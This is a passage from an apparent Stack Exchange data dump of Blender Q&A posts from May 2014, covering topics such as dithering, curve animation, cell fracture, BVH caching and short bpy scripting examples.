href=&quot;http://en.wikipedia.org/wiki/Color_depth#Deep_color_.2830.2F36.2F48-bit.29&quot; rel=&quot;nofollow noreferrer&quot;&gt;deep color&lt;/a&gt; EXR images, so unless you plan on reducing the number of colors later (in which case you would want to dither the image when you reduce the colors), I'm not sure that more dithering would really do anything more than what the render settings option already does (breaking up subtle banding artifacts).&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:44.617" LastActivityDate="2014-05-11T06:51:16.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9281" PostTypeId="2" ParentId="9279" CreationDate="2014-05-11T02:41:34.887" Score="-3" Body="&lt;p&gt;I think the only really effective way to accomplish this would be to use the compositor, here is a link &lt;a href=&quot;http://www.blenderguru.com/videos/introduction-to-the-compositor/&quot; rel=&quot;nofollow&quot;&gt;BlenderGuru compositor&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps another option (assuming your using Cycles) would be to turn the samples way down, and use ambient occlusion with a low setting.&lt;/p&gt;&#xA;" OwnerUserId="3439" LastActivityDate="2014-05-11T02:41:34.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9282" PostTypeId="1" AcceptedAnswerId="9286" CreationDate="2014-05-11T04:19:22.000" Score="3" ViewCount="577" Body="&lt;p&gt;I'm trying to make a tube extending with help of curves. I created a NurbsPath and BezierCircle, then put the circle into the bevel object of the path and animated its start bevel factor. Everything like any tutorial says, but I've got a problem. For my specific project I need straight 90 degrees corners, but curves tends to smooth them. So, to overcome this I extruded my curve 4 times in each corner. Just like you do when working with catmull-clark subdivision surfaces and need a straight corner. &#xA;  Now the problem is that the speed of extending somehow depends on the sectors. It is slow at the start of the sector, speeds up to the middle of it and slows again in the end. So after all it is too slow on the corners and too quick on the long sectors. I tried to control it manually by adding additional key frames for corners so they could take only 1 or 2 frames instead of 8 but with blenders own speeding and slowing it all got messed up. I can still play with manual key framing to make it acceptable, but I wonder if there any smart way to control the speed.&lt;/p&gt;&#xA;" OwnerUserId="3440" LastActivityDate="2014-05-11T08:12:34.583" Title="Controling the speed of the tube animated with curve" Tags="&lt;animation&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9283" PostTypeId="2" ParentId="9279" CreationDate="2014-05-11T05:56:25.857" Score="3" Body="&lt;p&gt;Blender &lt;strong&gt;doesn't support&lt;/strong&gt; this kind of dithering, where the color palette is reduced but the pattern dithered to maintain tonal variation.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;However you can get this result on the output image in image editors such as The Gimp by converting to index color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or automate with &lt;a href=&quot;http://www.imagemagick.org/Usage/quantize/#dither_error&quot; rel=&quot;nofollow&quot;&gt;imagemagick&lt;/a&gt; if you need to perform this as a batch operation (for animations for eg).&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-08-23T05:26:33.583" LastActivityDate="2015-08-23T05:26:33.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9284" PostTypeId="1" CreationDate="2014-05-11T07:31:48.020" Score="2" ViewCount="1920" Body="&lt;p&gt;I can't find the collapse edges button for dynamic topology sculpting in the new 2.70 blender update. Where is it?&lt;/p&gt;&#xA;" OwnerUserId="3441" LastEditorUserId="3401" LastEditDate="2015-12-22T18:09:50.893" LastActivityDate="2015-12-22T18:09:50.893" Title="Where is the collapse edges option in 2.70?" Tags="&lt;sculpting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9285" PostTypeId="2" ParentId="9284" CreationDate="2014-05-11T07:33:52.583" Score="2" Body="&lt;p&gt;Dynamic topology behavior was updated in &lt;a href=&quot;https://developer.blender.org/rB19089092739c&quot; rel=&quot;nofollow noreferrer&quot;&gt;this commit&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This allows you to choose between subdivide edges, collapse and both. Being able to&#xA;  only collapse edges can be useful to simplify meshes with accidentally introducing&#xA;  more detail.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;collapse short edges&lt;/em&gt; option was renamed to &lt;em&gt;collapse edges&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ju1P5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this what you are looking for?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-05-11T07:40:53.910" LastActivityDate="2014-05-11T07:40:53.910" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9286" PostTypeId="2" ParentId="9282" CreationDate="2014-05-11T08:12:34.583" Score="2" Body="&lt;p&gt;Try using free handles on the corners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set the selected control vertex handle(s) to &lt;em&gt;free&lt;/em&gt; with &lt;kbd&gt;V&lt;/kbd&gt;&lt;em&gt;&gt; Free&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also set the keyframe interpolation of the selected fcurves to linear with &lt;kbd&gt;T&lt;/kbd&gt;&lt;em&gt;&gt; Linear&lt;/em&gt; in the graph editor to avoid extra smoothing of the keyframe animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EzIJ0.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-05-11T08:12:34.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9287" PostTypeId="1" AcceptedAnswerId="14605" CreationDate="2014-05-11T09:47:13.160" Score="2" ViewCount="657" Body="&lt;p&gt;I need to export the colored face groups below as vectors so that I can import them into photoshop. &#xA;My first approach was to use different colored shadeless materials which I could then turn into selections inside photoshop but it is not an accurate method, I have to have the vectors rendered inside photoshop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K1opS.png&quot; alt=&quot;example&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3443" LastActivityDate="2014-08-01T06:47:50.117" Title="Export face groups as paths(vectors)" Tags="&lt;export&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9288" PostTypeId="1" AcceptedAnswerId="9290" CreationDate="2014-05-11T11:16:24.597" Score="4" ViewCount="520" Body="&lt;p&gt;How would one fracture only part of the object with cell fracture add-on?&#xA;I have this object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vha2j.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I only fracture center of the object, so that the top and the bottom are &lt;strong&gt;completely&lt;/strong&gt; unfractured? I can't just make constraints since the object is glass in cycles and unwanted fractures are clearly seen... I tried using cursor close, I tried fracturing with child object, but regardless of what I do, I can't get only the center to fracture...&lt;/p&gt;&#xA;" OwnerUserId="3129" LastActivityDate="2014-05-11T12:39:15.000" Title="Fracture part of the object" Tags="&lt;cycles-render-engine&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9289" PostTypeId="1" AcceptedAnswerId="9294" CreationDate="2014-05-11T11:23:44.000" Score="6" ViewCount="1162" Body="&lt;p&gt;How can I set the F button for materials and textures to be always on, even when I create a new material?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know Python and I don't have time to learn it, but I have found that there is a property &lt;code&gt;use_fake_user&lt;/code&gt; that must be set &lt;code&gt;True&lt;/code&gt; for materials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for asking is that I sometimes loose my unassigned materials when I play with multiple objects and multiple material nodes created on the fly.&lt;/p&gt;&#xA;" OwnerUserId="3444" LastEditorUserId="1363" LastEditDate="2014-05-11T14:00:57.743" LastActivityDate="2014-05-11T14:00:57.743" Title="Fake user ON by default in Blender materials and textures" Tags="&lt;python&gt;&lt;materials&gt;&lt;add-on&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9290" PostTypeId="2" ParentId="9288" CreationDate="2014-05-11T11:38:44.047" Score="3" Body="&lt;p&gt;You could do this with a slight work-around.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In Edit mode select the top half of the object&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M8kg3.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Separate it from the bottom using , P -&amp;gt; Selection&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In Object mode select the object you wish to fracture and run the cell fracture command&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vTf6d.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;If you want to you can join them back together afterwards with Ctrl J&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-05-11T12:39:15.000" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9291" PostTypeId="1" AcceptedAnswerId="9313" CreationDate="2014-05-11T12:41:26.043" Score="6" ViewCount="4223" Body="&lt;p&gt;Is there any way to specify where Blender saves the BVH cache files? It seems that it always goes to a folder inside my user profile (in my case, on Win7: &lt;code&gt;c:\Users\username\AppData\Roaming\Blender Foundation\2.70\cache&lt;/code&gt;). I frequently run into system warnings and slow performance because the BVH cache files quickly fill up the available free space on that partition (almost 10 gig). I've got plenty of room on other drives but I cannot find a way to change the cache location...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that a bug?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related: Is caching BVHs also useful for scenes where animated characters are acting in a static environment? The status text at the top of the render view does not indicate that Blender is rebuilding the BVHs for every frame (it only says &quot;Updating BVH for scene&quot; - but this takes far less time than the building for the first frame). So I guess this means it's working as intended but why is it creating upwards of 5 gigs of cache even for relatively simple scenes?&lt;/p&gt;&#xA;" OwnerUserId="1259" LastEditorUserId="1259" LastEditDate="2014-05-14T11:43:51.993" LastActivityDate="2016-06-12T13:56:20.317" Title="How can I change the directory used to cache BVH?" Tags="&lt;cycles-render-engine&gt;&lt;windows&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9292" PostTypeId="1" AcceptedAnswerId="9295" CreationDate="2014-05-11T13:54:23.400" Score="4" ViewCount="18845" Body="&lt;p&gt;I know it's possible to have multiple shaders for one object with the internal renderer. &lt;a href=&quot;https://www.youtube.com/watch?v=vvAFUywSFbw&quot; rel=&quot;nofollow&quot;&gt;This video&lt;/a&gt; explains the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I use Cycles to assign a material to a vertex group so that a single object may have multiple materials? If so, how?&lt;/p&gt;&#xA;" OwnerUserId="1170" LastActivityDate="2014-05-11T14:09:36.060" Title="Cycles: Assign material to vertex group" Tags="&lt;shaders&gt;&lt;vertex-groups&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9293" PostTypeId="2" ParentId="3589" CreationDate="2014-05-11T13:54:28.450" Score="3" Body="&lt;p&gt;I do this very often doing edu videos, and do it this way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use object info node -object index to animate per-object visibility.&#xA;I animate values 0-100 for the 'pass index' property of the object, then multiply these by 0.01 and use resulting value to mix transparent and any other shader&lt;/p&gt;&#xA;" OwnerUserId="3446" LastActivityDate="2014-05-11T13:54:28.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9294" PostTypeId="2" ParentId="9289" CreationDate="2014-05-11T13:56:51.620" Score="5" Body="&lt;p&gt;You can use an app handler to set &lt;code&gt;use_fake_user&lt;/code&gt; to &lt;code&gt;True&lt;/code&gt; right before saving. The following addon does it for materials and textures:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    &quot;name&quot;: &quot;Save unused Materials and Textures&quot;,&#xA;    &quot;author&quot;: &quot;CoDEmanX&quot;,&#xA;    &quot;version&quot;: (1, 0, 0),&#xA;    &quot;blender&quot;: (2, 63, 0),&#xA;    &quot;location&quot;: &quot;(none)&quot;,&#xA;    &quot;description&quot;: &quot;Enable fake user to rescue unused materials / textures automatically before saving&quot;,&#xA;    &quot;warning&quot;: &quot;Make sure this addon is enabled by default!&quot;,&#xA;    &quot;category&quot;: &quot;Material&quot;}&#xA;&#xA;&#xA;import bpy&#xA;from bpy.app.handlers import persistent&#xA;from itertools import chain&#xA;&#xA;@persistent&#xA;def enable_fakeuser(scene):&#xA;    for datablock in chain(bpy.data.materials, bpy.data.textures):&#xA;        datablock.use_fake_user = True&#xA;&#xA;&#xA;def register():&#xA;    bpy.app.handlers.save_pre.append(enable_fakeuser)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.app.handlers.save_pre.remove(enable_fakeuser)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure this addon is really enabled (best make it enabled by default and do that whenever you update Blender).&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-05-11T13:56:51.620" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9295" PostTypeId="2" ParentId="9292" CreationDate="2014-05-11T14:09:36.060" Score="5" Body="&lt;p&gt;Yes. It works exactly the same, just press the &quot;Assign&quot; button with the desired vertex-groups/faces selected. Unassigned geometry uses the default (first) material slot.&lt;/p&gt;&#xA;" OwnerUserId="3194" LastActivityDate="2014-05-11T14:09:36.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9296" PostTypeId="1" AcceptedAnswerId="9384" CreationDate="2014-05-11T14:31:52.423" Score="2" ViewCount="1822" Body="&lt;p&gt;I have a problem with Blender and its animation process, I want to do an animation and to do that I rendered all frames of my project. Textures on all of my frames are visible but when I do the render animation, my textures won't show up. I used UV/Image editor, I applied the materials to the objects and I did the exact same thing for 3 other animation and it has worked on all of them..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a rendered frame where we can see that textures show up.&#xA;&lt;img src=&quot;https://image.noelshack.com/fichiers/2014/19/1399818031-0089.png&quot; alt=&quot;textures on&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On this screenshot we can see that there's no textures when I do render the animation but on the right screen we have a view in &quot;Render Mode&quot; which shows us textures...&#xA;&lt;img src=&quot;https://image.noelshack.com/fichiers/2014/19/1399818185-blender.png&quot; alt=&quot;textures off&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone can help I'd be very grateful&lt;/p&gt;&#xA;" OwnerUserId="3448" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:44.637" LastActivityDate="2014-05-15T02:15:37.327" Title="Textures won't show up when I render an animation" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9297" PostTypeId="1" AcceptedAnswerId="9299" CreationDate="2014-05-11T15:16:49.393" Score="1" ViewCount="4128" Body="&lt;p&gt;I'd like to take a simple cross section in Blender 2.7 using the Cycles renderer. I would think this would be easy, and there is even a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Tutorials/Modeling/Meshes/Sectioning_a_mesh_with_nodes&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorial about how to do it&lt;/a&gt;, but that tutorial is for Blender 2.4, and does not work with 2.7. Can someone post a simple tutorial about how to create a cross section in the latest version of blender. Here is that I have come up with so far, but the edge is not sharp and I cannot figure out how to adjust it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HjxgR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3418" LastActivityDate="2014-06-03T14:43:05.887" Title="Cross section in cycles in blender 2.7" Tags="&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2014-05-11T23:06:13.797" ContentLicense="CC BY-SA 3.0" />
  <row Id="9299" PostTypeId="2" ParentId="9297" CreationDate="2014-05-11T16:06:43.413" Score="3" Body="&lt;p&gt;If I would be trying to achieve a cross section like effect, I wouldn't use the compositor but a mesh with a boolean modifier. In my opinion it's much more flexible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To accomplish this add a cube to our scene and position it to intersect with your object in the place you want gone. Then add a boolean modifier to  the object, select diffrence for the mode, and chose your masking cube. Be sure to disable renderability/hide the cube you masked the object with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created an example in which the object being cross-sectioned is suzane in a box. You can download it &lt;a href=&quot;http://www.pasteall.org/blend/29096&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. Here's the example render and viewport screenshot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h6JXr.png&quot; alt=&quot;render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MnAqr.png&quot; alt=&quot;viewport&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While this method works with almost any render system, the blender internal and cycles have trouble with multimaterial objects. In that case just split it into separate objects with one material each.&lt;/p&gt;&#xA;" OwnerUserId="1479" LastEditorUserId="1479" LastEditDate="2014-06-03T14:43:05.887" LastActivityDate="2014-06-03T14:43:05.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9300" PostTypeId="1" AcceptedAnswerId="9302" CreationDate="2014-05-11T17:55:33.933" Score="5" ViewCount="668" Body="&lt;p&gt;In my script I tried the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;arm = bpy.data.armatures.new('SomeName')&#xA;bpy.context.scene.objects.link(arm)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I get the error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TypeError: bpy_prop_collection[key] = value: invalid, expected a 'Object' type or None, not a 'Armature'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I link an armature created with &lt;code&gt;.new()&lt;/code&gt; to a scene?&lt;/p&gt;&#xA;" OwnerUserId="2251" LastEditorUserId="12" LastEditDate="2014-05-11T20:52:35.770" LastActivityDate="2016-04-30T11:02:06.120" Title="Linking an armature to a scene" Tags="&lt;scripting&gt;&lt;objects&gt;&lt;armature&gt;&lt;scene&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9302" PostTypeId="2" ParentId="9300" CreationDate="2014-05-11T20:21:48.847" Score="6" Body="&lt;p&gt;Blender has the concept of:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Scene: Reference Objects&lt;/li&gt;&#xA;&lt;li&gt;Objects: Reference Object Data (Mesh, Armature, Lamp. etc)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is needed so you can (for example) have many instances of the same mesh, which saves memory and allows you to edit without having to manually update copies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the script modified to work as expected.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;arm = bpy.data.armatures.new(&quot;My Rig&quot;)&#xA;&#xA;# create an object&#xA;obj = bpy.data.objects.new(&quot;My Object&quot;, arm)&#xA;&#xA;bpy.context.scene.objects.link(obj)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2016-04-30T11:02:06.120" LastActivityDate="2016-04-30T11:02:06.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9303" PostTypeId="1" AcceptedAnswerId="9304" CreationDate="2014-05-11T21:23:28.657" Score="1" ViewCount="2818" Body="&lt;p&gt;I want to add another menu item to my Custom Panel for scaling the size of an object by +2. I get the following code whenever I do the scaling.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.transform.resize(value=(2, 2, 2), constraint_axis=(False, False, False),&#xA;constraint_orientation='GLOBAL', mirror=False, proportional='DISABLED', &#xA;proportional_edit_falloff='SMOOTH', proportional_size=1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I pass this code to col.operator() so it works as at the moment I am getting an error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my current code which works fine and allows me to add a plane or cube object.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class CustomPanel(bpy.types.Panel):&#xA;    &quot;&quot;&quot;A Custom Panel in the Viewport Toolbar&quot;&quot;&quot;&#xA;    bl_label = &quot;Custom Panel&quot;&#xA;    bl_space_type = 'VIEW_3D'&#xA;    bl_region_type = 'TOOLS'&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        row = layout.row()&#xA;        row.label(text=&quot;Add Objects:&quot;)&#xA;&#xA;        split = layout.split()&#xA;        col = split.column(align=True)&#xA;&#xA;        col.operator(&quot;mesh.primitive_plane_add&quot;, text=&quot;Plane&quot;)&#xA;        col.operator(&quot;mesh.primitive_cube_add&quot;, text=&quot;Cube&quot;)&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(CustomPanel)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(CustomPanel)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2648" LastActivityDate="2014-05-11T21:42:10.060" Title="Simple script to resize object" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9304" PostTypeId="2" ParentId="9303" CreationDate="2014-05-11T21:42:10.060" Score="3" Body="&lt;p&gt;If all you want to set for the operator is a single property, you can do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;col.operator(&quot;transform.resize&quot;).value = (2,2,2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to set multiple properties, use the object that is returned by &lt;code&gt;.operator()&lt;/code&gt; and set the properties on it one after another:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;props = col.operator(&quot;transform.resize&quot;)&#xA;props.value = (2,2,2)&#xA;props.constraint_orientation = 'GLOBAL'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-05-11T21:42:10.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9305" PostTypeId="1" AcceptedAnswerId="10460" CreationDate="2014-05-11T22:31:42.410" Score="2" ViewCount="3999" Body="&lt;p&gt;I placed some bezier curves in a scene. This scene is getting exported as an .obj file later with a scaling factor of 11 and +X-axis as Forward and +Z-Axis as Up. as In a further project some insects shall move along these curves. &#xA;Now I need the handle and control points of these bezier curves in world coordinates so I can use these coordinates to calculate the bezier curves in my project. I wrote a script for that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import os&#xA;&#xA;ob = bpy.context.object&#xA;currPath = os.path.splitext(bpy.data.filepath)[0]+&quot;.txt&quot;&#xA;file = open(currPath, &quot;w&quot;)&#xA;&#xA;for curves in bpy.data.curves:&#xA;    for splines in curves.splines:&#xA;        for x in range(len(splines.bezier_points)): &#xA;            file.write(&quot;p &quot;)&#xA;            handle_left = ob.matrix_world * splines.bezier_points[x].handle_left&#xA;            handle_left *= 11&#xA;            co = ob.matrix_world * splines.bezier_points[x].co&#xA;            co *= 11&#xA;            handle_right = ob.matrix_world * splines.bezier_points[x].handle_right&#xA;            handle_right *= 11&#xA;            file.write(&quot;%.3f &quot; % (handle_left.x))&#xA;            file.write(&quot;%.3f &quot; % (handle_left.y))&#xA;            file.write(&quot;%.3f &quot; % (handle_left.z)) &#xA;            file.write(&quot;%.3f &quot; % (co.x)) &#xA;            file.write(&quot;%.3f &quot; % (co.y)) &#xA;            file.write(&quot;%.3f &quot; % (co.z))&#xA;            file.write(&quot;%.3f &quot; % (handle_right.x))&#xA;            file.write(&quot;%.3f &quot; % (handle_right.y)) &#xA;            file.write(&quot;%.3f &quot; % (handle_right.z))&#xA;            file.write(&quot;\n&quot;)&#xA;    file.write(&quot;n\n&quot;)&#xA;&#xA;file.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The bezier curves are not at the position where they should be in my project. Is something wrong with the script?&lt;/p&gt;&#xA;" OwnerUserId="3454" LastActivityDate="2017-04-27T15:08:01.363" Title="Export bezier curves" Tags="&lt;python&gt;&lt;scripting&gt;&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9306" PostTypeId="1" CreationDate="2014-05-11T23:08:04.500" Score="0" ViewCount="54" Body="&lt;p&gt;If I made a model with lots of textures in Blender Render and then wanted to use the model in Cycles with all the textures in place, is there a way to export it from Blender Render with the texture data and then import it into Cycles?&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2014-05-11T23:08:04.500" Title="How can I get textures from Blender Render into Cycles?" Tags="&lt;modeling&gt;&lt;texturing&gt;&lt;export&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2014-05-12T10:06:07.767" ContentLicense="CC BY-SA 3.0" />
  <row Id="9310" PostTypeId="1" AcceptedAnswerId="9311" CreationDate="2014-05-12T00:20:57.447" Score="21" ViewCount="6545" Body="&lt;p&gt;I'm working on making an &quot;Edison bulb&quot; for part of a photo-realistic scene.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The filament is composed of extrusions of a very small cylinder (if that's a poor method, please correct me; I'm very new to modeling) and that seems to have an effect on how bright it can be as an emission surface - whether it's set to 40 or 40,000 it doesn't make a noticeable difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that I can't get the internal reflection on the bulb to show up.  Increasing the brightness has no effect.  I tried to fake it by duplicating the filament, scaling it up, and making it invisible to the camera but that didn't have the intended effect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a quick render of the bulb - notice the reflections from outside light sources but none from the internal filament. There's even a bit of reflection from the internal support structures. Similar renders without any other light source have the same problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WudMM.png&quot; alt=&quot;Light Bulb&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a photograph of a similar bulb with great reflections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9Yips.jpg&quot; alt=&quot;Photo&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3292" LastEditorUserId="3292" LastEditDate="2014-05-12T00:42:07.047" LastActivityDate="2018-03-31T10:07:54.680" Title="Light-bulb Filaments: Brightness and Internal Reflections in Cycles" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="9311" PostTypeId="2" ParentId="9310" CreationDate="2014-05-12T01:38:49.727" Score="24" Body="&lt;p&gt;A few things you might try:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The color of your background will make significant difference when trying to see the internal reflections. I recommend making the background color the same color as the photo. With a light background like you have now, any light reflecting inside the bulb will be greatly diminished in terms of visibility. Here's an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ifjRP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The shape of the bulb will play a very important role in the amount of reflection you get inside the bulb. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FGQvT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if you can model your lightbulb to have the exact same shape as the one in the photo, you should get similar reflections. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In addition, the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/blender_render/materials/properties/transparency.html#transparency&quot; rel=&quot;nofollow noreferrer&quot;&gt;IOR (Index Of Refraction)&lt;/a&gt; setting plays a large role in how much reflection is shown inside the 